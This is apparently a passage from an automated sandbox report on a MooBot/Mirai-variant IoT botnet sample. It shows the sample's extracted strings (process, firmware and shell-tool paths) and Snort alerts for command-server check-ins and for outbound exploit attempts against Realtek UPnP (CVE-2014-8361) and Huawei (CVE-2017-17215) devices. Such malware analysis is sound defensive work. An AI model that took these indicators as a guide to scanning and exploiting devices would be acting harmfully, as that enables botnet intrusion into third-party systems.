String: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinernetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:53110 -> 15.235.203.214:2466
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:32862 -> 54.54.215.85:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:32862 -> 54.54.215.85:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:49468 -> 124.62.99.179:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:49468 -> 124.62.99.179:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:43168 -> 36.180.172.129:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:43168 -> 36.180.172.129:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:50170 -> 131.82.186.16:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:50170 -> 131.82.186.16:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:59752 -> 66.56.180.47:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:59752 -> 66.56.180.47:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:46224 -> 39.125.186.30:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:46224 -> 39.125.186.30:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:51688 -> 121.40.224.141:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:51688 -> 121.40.224.141:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:54564 -> 49.95.69.134:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:54564 -> 49.95.69.134:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:41922 -> 8.26.166.115:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:41922 -> 8.26.166.115:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:34368 -> 73.83.129.52:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:34368 -> 73.83.129.52:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:49928 -> 155.180.4.142:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:49928 -> 155.180.4.142:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:56392 -> 209.76.121.16:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:56392 -> 209.76.121.16:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:59768 -> 103.1.126.231:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:59768 -> 103.1.126.231:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:60120 -> 221.37.81.113:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:60120 -> 221.37.81.113:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:44108 -> 171.175.125.48:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:44108 -> 171.175.125.48:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:36334 -> 142.17.9.107:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:36334 -> 142.17.9.107:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:60618 -> 159.113.67.133:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:60618 -> 159.113.67.133:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:59598 -> 44.60.208.210:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:59598 -> 44.60.208.210:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:49270 -> 116.152.21.19:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:49270 -> 116.152.21.19:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:56096 -> 79.205.6.73:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:56096 -> 79.205.6.73:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:42090 -> 201.57.227.248:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:42090 -> 201.57.227.248:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:52694 -> 69.105.43.224:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:52694 -> 69.105.43.224:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:38934 -> 89.229.96.227:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:38934 -> 89.229.96.227:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:42114 -> 100.11.251.147:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:42114 -> 100.11.251.147:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:48900 -> 204.151.222.243:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:48900 -> 204.151.222.243:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:38810 -> 144.242.91.152:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:38810 -> 144.242.91.152:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:59186 -> 80.48.49.198:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:59186 -> 80.48.49.198:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:55814 -> 106.225.80.214:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:55814 -> 106.225.80.214:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:53984 -> 54.79.20.157:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:53984 -> 54.79.20.157:52869
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:54578 -> 15.235.203.214:2466
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:39478 -> 84.205.84.200:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:39478 -> 84.205.84.200:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:51450 -> 191.248.177.130:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:51450 -> 191.248.177.130:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:59228 -> 136.24.70.56:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:59228 -> 136.24.70.56:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:49348 -> 102.46.199.20:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:49348 -> 102.46.199.20:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:44984 -> 74.72.233.88:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:44984 -> 74.72.233.88:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:37580 -> 149.223.236.152:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:37580 -> 149.223.236.152:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:57698 -> 98.62.191.234:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:57698 -> 98.62.191.234:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:39486 -> 220.159.9.134:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:39486 -> 220.159.9.134:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:39428 -> 221.3.242.5:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:39428 -> 221.3.242.5:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:50968 -> 136.117.93.58:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:50968 -> 136.117.93.58:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:37538 -> 2.151.18.206:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:37538 -> 2.151.18.206:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:51640 -> 72.17.189.116:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:51640 -> 72.17.189.116:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54436 -> 197.64.154.239:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54436 -> 197.64.154.239:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39096 -> 206.65.197.101:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39096 -> 206.65.197.101:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48936 -> 12.193.234.170:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48936 -> 12.193.234.170:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50018 -> 157.55.21.62:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50018 -> 157.55.21.62:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50756 -> 115.124.30.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50756 -> 115.124.30.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40344 -> 157.44.153.97:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40344 -> 157.44.153.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44984 -> 197.159.192.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44984 -> 197.159.192.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53986 -> 197.5.6.138:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53986 -> 197.5.6.138:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50448 -> 41.60.209.210:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50448 -> 41.60.209.210:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34156 -> 157.147.59.60:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34156 -> 157.147.59.60:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56854 -> 41.247.83.121:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56854 -> 41.247.83.121:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52282 -> 41.134.249.120:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52282 -> 41.134.249.120:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44686 -> 197.169.205.203:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44686 -> 197.169.205.203:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54346 -> 174.50.31.231:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54346 -> 174.50.31.231:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42962 -> 197.151.5.99:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42962 -> 197.151.5.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53674 -> 41.166.221.172:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53674 -> 41.166.221.172:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48028 -> 52.192.132.102:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48028 -> 52.192.132.102:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39392 -> 157.77.35.15:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39392 -> 157.77.35.15:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51660 -> 157.19.102.202:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51660 -> 157.19.102.202:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54418 -> 41.189.155.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54418 -> 41.189.155.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44084 -> 197.248.203.139:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44084 -> 197.248.203.139:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40274 -> 157.27.189.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40274 -> 157.27.189.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43666 -> 157.16.82.82:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43666 -> 157.16.82.82:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34876 -> 41.173.78.130:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34876 -> 41.173.78.130:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55892 -> 157.189.127.218:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55892 -> 157.189.127.218:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39112 -> 157.19.78.216:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39112 -> 157.19.78.216:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56878 -> 111.53.163.147:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56878 -> 111.53.163.147:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54004 -> 157.30.207.238:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54004 -> 157.30.207.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39584 -> 197.183.255.235:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39584 -> 197.183.255.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41866 -> 105.176.207.17:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41866 -> 105.176.207.17:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57444 -> 41.211.96.69:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57444 -> 41.211.96.69:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34222 -> 197.128.236.2:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34222 -> 197.128.236.2:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44620 -> 121.95.140.123:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44620 -> 121.95.140.123:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46732 -> 83.121.211.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46732 -> 83.121.211.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33106 -> 89.97.7.223:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33106 -> 89.97.7.223:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60092 -> 197.164.234.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60092 -> 197.164.234.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40032 -> 186.219.109.51:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40032 -> 186.219.109.51:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43046 -> 41.156.184.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43046 -> 41.156.184.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41578 -> 166.105.157.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41578 -> 166.105.157.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59052 -> 136.107.92.11:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59052 -> 136.107.92.11:37215
